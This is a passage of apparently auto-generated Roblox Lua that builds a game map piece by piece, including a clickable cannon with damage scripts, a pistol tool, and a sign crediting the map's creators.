Model1229.Parent = Model1228 Part1230.Name = "One" Part1230.Parent = Model1229 Part1230.CFrame = CFrame.new(194.523392, 5.63937378, -97.2970886, -0.332805127, -0.314089119, 0.889141083, 0.642616808, 0.614517152, 0.457606733, -0.690126777, 0.723684013, -0.00267511955) Part1230.Orientation = Vector3.new(-27.2299995, 90.1699982, 46.2799988) Part1230.Position = Vector3.new(194.523392, 5.63937378, -97.2970886) Part1230.Rotation = Vector3.new(-90.3300018, 62.7700005, 136.660004) Part1230.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1230.Transparency = 1 Part1230.Size = Vector3.new(1, 1, 1) Part1230.Anchored = true Part1230.BackSurface = Enum.SurfaceType.Weld Part1230.BottomSurface = Enum.SurfaceType.Weld Part1230.BrickColor = BrickColor.new("Really black") Part1230.FrontSurface = Enum.SurfaceType.Weld Part1230.LeftSurface = Enum.SurfaceType.Weld Part1230.RightParamA = 0 Part1230.RightParamB = 0 Part1230.RightSurface = Enum.SurfaceType.Weld Part1230.TopSurface = Enum.SurfaceType.Weld Part1230.brickColor = BrickColor.new("Really black") Part1230.Shape = Enum.PartType.Cylinder Weld1231.Parent = Part1230 Weld1231.C0 = CFrame.new(-0.5, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Weld1231.C1 = CFrame.new(1.71661377e-05, -0.200332642, 0.000106811523, 0.999994516, 4.69619408e-07, -5.77419996e-07, -6.07455149e-07, 1.25169754e-06, 0.999997139, -4.69619408e-07, -1.00000024, -1.25169754e-06) Weld1231.Part0 = Part1230 Weld1231.Part1 = Part1222 Weld1231.part1 = Part1222 Part1232.Name = "Switch" Part1232.Parent = Model1228 Part1232.CFrame = CFrame.new(195.90126, 2.98447418, -93.4779663, -0.889143705, -0.314089686, -0.332805932, -0.457607716, 0.61451751, 0.642617822, 0.00267491047, 0.723683298, -0.690127552) Part1232.Orientation = Vector3.new(-39.9900017, -154.25, -36.6699982) Part1232.Position = Vector3.new(195.90126, 2.98447418, -93.4779663) Part1232.Rotation = Vector3.new(-137.039993, -19.4400005, 160.539993) Part1232.Color = Color3.new(0.294118, 0.592157, 0.294118) Part1232.Size = Vector3.new(1, 0.400000006, 1) Part1232.Anchored = true Part1232.BottomSurface = Enum.SurfaceType.Weld Part1232.BrickColor = BrickColor.new("Bright green") Part1232.TopSurface = Enum.SurfaceType.Smooth Part1232.brickColor = BrickColor.new("Bright green") Sound1233.Name = "GunSound" Sound1233.Parent = Part1232 Sound1233.PlayOnRemove = true Sound1233.SoundId = "rbxasset://sounds/collide.wav" Sound1233.Volume = 1 ClickDetector1234.Parent = Part1232 ClickDetector1234.MaxActivationDistance = 6 Script1235.Name = "CannonBall" Script1235.Parent = Part1232 table.insert(cors,sandbox(Script1235,function() ball = script.Parent damage = 100 function onTouched(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") if humanoid~=nil then tagHumanoid(humanoid) humanoid.Health = humanoid.Health - damage wait(0.00000001) untagHumanoid(humanoid) connection:disconnect() else damage = damage / 2 if damage < 2 then connection:disconnect() ball.Parent = nil end end if math.random(1,1) == 1 then explosion = Instance.new("Explosion") explosion.BlastRadius = 6 explosion.BlastPressure = 100000 -- these are really wussy units explosion.Position = script.Parent.Position explosion.Parent = game.Workspace connection:disconnect() ball.Parent = nil cancollide = true end end function tagHumanoid(humanoid) -- todo: make tag expire local tag = ball:findFirstChild("creator") if tag ~= nil then local new_tag = tag:clone() new_tag.Parent = humanoid end end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end connection = ball.Touched:connect(onTouched) r = game:service("RunService") t, s = r.Stepped:wait() d = t + 5.0 - s while t < d do t = r.Stepped:wait() end ball.Parent = nil end)) Script1235.Disabled = true Script1236.Name = "FireGun" Script1236.Parent = Part1232 table.insert(cors,sandbox(Script1236,function() local switch = script.Parent local gunBarrelOne = script.Parent.Parent.GunBarrel.One local debounce = false local gunOne = true local cannonBall = Instance.new("Part") cannonBall.Size = Vector3.new(1,1,1) cannonBall.BrickColor = BrickColor.new(26) -- medium blue cannonBall.Shape = 0 cannonBall.BottomSurface = 0 cannonBall.TopSurface = 0 cannonBall.Name = "Cannon Shot" cannonBall.Elasticity = .1 cannonBall.Reflectance = .2 cannonBall.Friction = .5 function fire(player) local sound = script.Parent:findFirstChild("GunSound") if sound == nil then sound = Instance.new("Sound") sound.Name = "GunSound" sound.SoundId = "rbxasset://sounds\collide.wav" sound.Volume = 1 sound.Parent = script.Parent end sound:play() local missile = Instance.new("Part") local barrel if gunOne == true then barrel = gunBarrelOne gunOne = true end local spawnPos = barrel.CFrame * Vector3.new(6, 0, 0) local dx = math.random(50,50) local dy = math.random(0,0) local dz = math.random(0,0) local mag = math.random(200,200) local v = barrel.CFrame:vectorToWorldSpace(Vector3.new(mag + dx,dy,dz)) local missile = cannonBall:clone() missile.Position = spawnPos missile.Velocity = v local new_script = script.Parent.CannonBall:clone() new_script.Disabled = false new_script.Parent = missile local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function onClicked() if debounce == false then debounce = true switch.BrickColor = BrickColor.new(21) -- let slip the dogs of war fire(player) wait(.001) wait(3) debounce = false switch.BrickColor = BrickColor.new(37) end end script.Parent.ClickDetector.MouseClick:connect(onClicked) end)) Tool1237.Name = "Pistol" Tool1237.Parent = Model0 Part1238.Name = "Main" Part1238.Parent = Tool1237 Part1238.CFrame = CFrame.new(198.916794, 1.18052697, -117.203506, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813) Part1238.Orientation = Vector3.new(0, 165, 0) Part1238.Position = Vector3.new(198.916794, 1.18052697, -117.203506) Part1238.Rotation = Vector3.new(-180, 15, -180) Part1238.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1238.Transparency = 1 Part1238.Size = Vector3.new(0.200000003, 0.280000031, 0.200000003) Part1238.Anchored = true Part1238.BrickColor = BrickColor.new("Dark stone grey") Part1238.CanCollide = false Part1238.brickColor = BrickColor.new("Dark stone grey") Part1239.Name = "Handle" Part1239.Parent = Tool1237 Part1239.CFrame = CFrame.new(199.411331, 0.641961992, -118.86393, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813) Part1239.Orientation = Vector3.new(0, 165, 0) Part1239.Position = Vector3.new(199.411331, 0.641961992, -118.86393) Part1239.Rotation = Vector3.new(-180, 15, -180) Part1239.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1239.Transparency = 1 Part1239.Size = Vector3.new(0.390000105, 0.360000014, 0.470000029) Part1239.Anchored = true Part1239.BrickColor = BrickColor.new("Dark stone grey") Part1239.CanCollide = false Part1239.brickColor = BrickColor.new("Dark stone grey") Part1240.Parent = Tool1237 Part1240.CFrame = CFrame.new(199.159149, 1.31374395, -118.251091, 0.25881651, 1.42699774e-09, 0.965926468, -1.56664959e-11, 1, -1.47313806e-09, -0.965926468, 3.66139563e-10, 0.25881651) Part1240.Orientation = Vector3.new(0, 75, 0) Part1240.Position = Vector3.new(199.159149, 1.31374395, -118.251091) Part1240.Rotation = Vector3.new(0, 75, 0) Part1240.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1240.Size = Vector3.new(1.65956223, 0.41639924, 0.555198967) Part1240.Anchored = true Part1240.BrickColor = BrickColor.new("Dark stone grey") Part1240.CanCollide = false Part1240.TopSurface = Enum.SurfaceType.Smooth Part1240.brickColor = BrickColor.new("Dark stone grey") Part1241.Parent = Tool1237 Part1241.CFrame = CFrame.new(199.141373, 1.14778304, -118.021568, 0.258819997, -2.1701102e-05, 0.965925574, 1.34616835e-06, 1, 2.21059327e-05, -0.965925574, -4.42115879e-06, 0.258819997) Part1241.Orientation = Vector3.new(0, 75, 0) Part1241.Position = Vector3.new(199.141373, 1.14778304, -118.021568) Part1241.Rotation = Vector3.new(0, 75, 0) Part1241.Size = Vector3.new(1.4966234, 0.434503585, 0.410364509) Part1241.Anchored = true Part1241.BottomSurface = Enum.SurfaceType.Smooth Part1241.CanCollide = false Part1241.TopSurface = Enum.SurfaceType.Smooth Part1242.Parent = Tool1237 Part1242.CFrame = CFrame.new(199.004288, 1.17493796, -117.464767, 0.258818388, 0, 0.965925992, 0, 1, 0, -0.965925992, 0, 0.258818388) Part1242.Orientation = Vector3.new(0, 75, 0) Part1242.Position = Vector3.new(199.004288, 1.17493796, -117.464767) Part1242.Rotation = Vector3.new(0, 75, 0) Part1242.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1242.Size = Vector3.new(0.60347718, 0.331912458, 0.325877696) Part1242.Anchored = true Part1242.BottomSurface = Enum.SurfaceType.Smooth Part1242.BrickColor = BrickColor.new("Really black") Part1242.CanCollide = false Part1242.TopSurface = Enum.SurfaceType.Smooth Part1242.brickColor = BrickColor.new("Really black") Part1242.Shape = Enum.PartType.Cylinder Part1243.Name = "Mag" Part1243.Parent = Tool1237 Part1243.CFrame = CFrame.new(199.343384, 0.968603015, -118.89209, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813) Part1243.Orientation = Vector3.new(0, 165, 0) Part1243.Position = Vector3.new(199.343384, 0.968603015, -118.89209) Part1243.Rotation = Vector3.new(-180, 15, -180) Part1243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1243.Size = Vector3.new(0.398295075, 0.657790065, 0.277599484) Part1243.Anchored = true Part1243.BrickColor = BrickColor.new("Really black") Part1243.CanCollide = false Part1243.brickColor = BrickColor.new("Really black") Part1244.Parent = Tool1237 Part1244.CFrame = CFrame.new(199.331665, 0.675916016, -118.848373, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813) Part1244.Orientation = Vector3.new(0, 165, 0) Part1244.Position = Vector3.new(199.331665, 0.675916016, -118.848373) Part1244.Rotation = Vector3.new(-180, 15, -180) Part1244.Size = Vector3.new(0.410364628, 1.35178888, 0.428468794) Part1244.Anchored = true Part1244.BottomSurface = Enum.SurfaceType.Smooth Part1244.CanCollide = false Part1244.TopSurface = Enum.SurfaceType.Smooth Part1245.Name = "AimPart" Part1245.Parent = Tool1237 Part1245.CFrame = CFrame.new(199.049301, 1.80194497, -117.985695, -0.965925813, 0, 0.258819133, 0, 1, 0, -0.258819133, 0, -0.965925813) Part1245.Orientation = Vector3.new(0, 165, 0) Part1245.Position = Vector3.new(199.049301, 1.80194497, -117.985695) Part1245.Rotation = Vector3.new(-180, 15, -180) Part1245.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1245.Transparency = 1 Part1245.Size = Vector3.new(0.529999971, 0.560000002, 0.570000052) Part1245.Anchored = true Part1245.BrickColor = BrickColor.new("Dark stone grey") Part1245.CanCollide = false Part1245.brickColor = BrickColor.new("Dark stone grey") Model1246.Name = "Noob Holding Sign" Model1246.Parent = Model0 Part1247.Name = "Sign" Part1247.Parent = Model1246 Part1247.CFrame = CFrame.new(-6.27307367, 6.94996643, -7.24505091, 0.499992579, 0, -0.866029739, 0, 0.99999994, 0, 0.866029859, 0, 0.499992549) Part1247.Orientation = Vector3.new(0, -60, 0) Part1247.Position = Vector3.new(-6.27307367, 6.94996643, -7.24505091) Part1247.Rotation = Vector3.new(0, -60, 0) Part1247.Color = Color3.new(0.666667, 0.333333, 0) Part1247.Size = Vector3.new(5, 3, 1) Part1247.Anchored = true Part1247.BottomSurface = Enum.SurfaceType.Smooth Part1247.BrickColor = BrickColor.new("CGA brown") Part1247.Material = Enum.Material.Wood Part1247.TopSurface = Enum.SurfaceType.Smooth Part1247.brickColor = BrickColor.new("CGA brown") SurfaceGui1248.Parent = Part1247 SurfaceGui1248.CanvasSize = Vector2.new(500, 300) SurfaceGui1248.Adornee = Part1247 TextLabel1249.Parent = SurfaceGui1248 TextLabel1249.Size = UDim2.new(1, 0, 1, 0) TextLabel1249.BackgroundColor = BrickColor.new("Institutional white") TextLabel1249.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel1249.BackgroundTransparency = 1 TextLabel1249.BorderSizePixel = 0 TextLabel1249.Font = Enum.Font.Cartoon TextLabel1249.FontSize = Enum.FontSize.Size14 TextLabel1249.Text = "Map created by bananabacon98 and MrrSandmann" TextLabel1249.TextColor = BrickColor.new("Institutional white") TextLabel1249.TextColor3 = Color3.new(1, 1, 1) TextLabel1249.TextScaled = true TextLabel1249.TextSize = 14 TextLabel1249.TextStrokeTransparency = 0 TextLabel1249.TextWrap = true TextLabel1249.TextWrapped = true Humanoid1250.Parent = Model1246 Humanoid1250.LeftLeg = Part1251 Humanoid1250.MaxHealth = 0 Humanoid1250.NameOcclusion = Enum.NameOcclusion.NoOcclusion Humanoid1250.RightLeg = Part1257 Humanoid1250.Torso = Part1252 Humanoid1250.maxHealth = 0 Part1251.Name = "Left Leg" Part1251.Parent = Model1246 Part1251.CFrame = CFrame.new(-6.60276413, 1.00000429, -7.51647186, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288) Part1251.Orientation = Vector3.new(0, -60, 0) Part1251.Position = Vector3.new(-6.60276413, 1.00000429, -7.51647186) Part1251.Rotation = Vector3.new(0, -60, 0) Part1251.Color = Color3.new(0.643137, 0.741176, 0.278431) Part1251.Size = Vector3.new(1, 2, 1) Part1251.Anchored = true Part1251.BottomSurface = Enum.SurfaceType.Smooth Part1251.BrickColor = BrickColor.new("Br. yellowish green") Part1251.TopSurface = Enum.SurfaceType.Smooth Part1251.brickColor = BrickColor.new("Br. yellowish green") Part1251.FormFactor = Enum.FormFactor.Symmetric Part1251.formFactor = Enum.FormFactor.Symmetric Part1252.Name = "Torso" Part1252.Parent = Model1246 Part1252.CFrame = CFrame.new(-6.35274172, 2.99998093, -7.08290815, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288) Part1252.Orientation = Vector3.new(0, -60, 0) Part1252.Position = Vector3.new(-6.35274172, 2.99998093, -7.08290815) Part1252.Rotation = Vector3.new(0, -60, 0) Part1252.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part1252.Size = Vector3.new(2, 2, 1) Part1252.Anchored = true Part1252.BottomSurface = Enum.SurfaceType.Smooth Part1252.BrickColor = BrickColor.new("Bright blue") Part1252.LeftParamA = 0 Part1252.LeftParamB = 0 Part1252.RightParamA = 0 Part1252.RightParamB = 0 Part1252.TopSurface = Enum.SurfaceType.Smooth Part1252.brickColor = BrickColor.new("Bright blue") Part1252.FormFactor = Enum.FormFactor.Symmetric Part1252.formFactor = Enum.FormFactor.Symmetric Part1253.Name = "Head" Part1253.Parent = Model1246 Part1253.CFrame = CFrame.new(-6.35274458, 4.49995804, -7.08290625, 0.499986023, -6.60722344e-06, -0.866034627, -1.85827492e-10, 1.00000381, -7.31646969e-06, 0.866033494, 3.81474229e-06, 0.499986678) Part1253.Orientation = Vector3.new(0, -60, 0) Part1253.Position = Vector3.new(-6.35274458, 4.49995804, -7.08290625) Part1253.Rotation = Vector3.new(0, -60, 0) Part1253.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1253.Size = Vector3.new(2, 1, 1) Part1253.Anchored = true Part1253.BottomSurface = Enum.SurfaceType.Smooth Part1253.BrickColor = BrickColor.new("Bright yellow") Part1253.TopSurface = Enum.SurfaceType.Smooth Part1253.brickColor = BrickColor.new("Bright yellow") Part1253.FormFactor = Enum.FormFactor.Symmetric Part1253.formFactor = Enum.FormFactor.Symmetric SpecialMesh1254.Parent = Part1253 SpecialMesh1254.Scale = Vector3.new(1.25, 1.25, 1.25) Decal1255.Name = "face" Decal1255.Parent = Part1253 Decal1255.Texture = "rbxasset://textures/face.png" Part1256.Name = "Left Arm" Part1256.Parent = Model1246 Part1256.CFrame = CFrame.new(-7.10422897, 4.44996023, -8.3833437, 0.499988288, 1.6388899e-06, 0.866037428, -3.79145569e-11, -0.99999994, 1.89243838e-06, 0.866037428, -9.46227487e-07, -0.499988288) Part1256.Orientation = Vector3.new(0, 120, -180) Part1256.Position = Vector3.new(-7.10422897, 4.44996023, -8.3833437) Part1256.Rotation = Vector3.new(-180, 60, 0) Part1256.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1256.Size = Vector3.new(1, 2, 1) Part1256.Anchored = true Part1256.BottomSurface = Enum.SurfaceType.Smooth Part1256.BrickColor = BrickColor.new("Bright yellow") Part1256.TopSurface = Enum.SurfaceType.Smooth Part1256.brickColor = BrickColor.new("Bright yellow") Part1256.FormFactor = Enum.FormFactor.Symmetric Part1256.formFactor = Enum.FormFactor.Symmetric Part1257.Name = "Right Leg" Part1257.Parent = Model1246 Part1257.CFrame = CFrame.new(-6.10323477, 1.0000031, -6.65073872, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288) Part1257.Orientation = Vector3.new(0, -60, 0) Part1257.Position = Vector3.new(-6.10323477, 1.0000031, -6.65073872) Part1257.Rotation = Vector3.new(0, -60, 0) Part1257.Color = Color3.new(0.643137, 0.741176, 0.278431) Part1257.Size = Vector3.new(1, 2, 1) Part1257.Anchored = true Part1257.BottomSurface = Enum.SurfaceType.Smooth Part1257.BrickColor = BrickColor.new("Br. yellowish green") Part1257.TopSurface = Enum.SurfaceType.Smooth Part1257.brickColor = BrickColor.new("Br. yellowish green") Part1257.FormFactor = Enum.FormFactor.Symmetric Part1257.formFactor = Enum.FormFactor.Symmetric Part1258.Name = "Right Arm" Part1258.Parent = Model1246 Part1258.CFrame = CFrame.new(-5.60388756, 4.44995785, -5.78433657, 0.499988288, -1.6388899e-06, -0.866037428, -3.79145569e-11, 0.99999994, -1.89243838e-06, 0.866037428, 9.46227487e-07, 0.499988288) Part1258.Orientation = Vector3.new(0, -60, 0) Part1258.Position = Vector3.new(-5.60388756, 4.44995785, -5.78433657) Part1258.Rotation = Vector3.new(0, -60, 0) Part1258.Color = Color3.new(0.960784, 0.803922, 0.188235) Part1258.Size = Vector3.new(1, 2, 1) Part1258.Anchored = true Part1258.BottomSurface = Enum.SurfaceType.Smooth Part1258.BrickColor = BrickColor.new("Bright yellow") Part1258.TopSurface = Enum.SurfaceType.Smooth Part1258.brickColor = BrickColor.new("Bright yellow") Part1258.FormFactor = Enum.FormFactor.Symmetric Part1258.formFactor = Enum.FormFactor.Symmetric for i,v in pairs(mas:GetChildren()) do v.Parent = workspace pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end
Editor Settings
Theme
Key bindings
Full width
Lines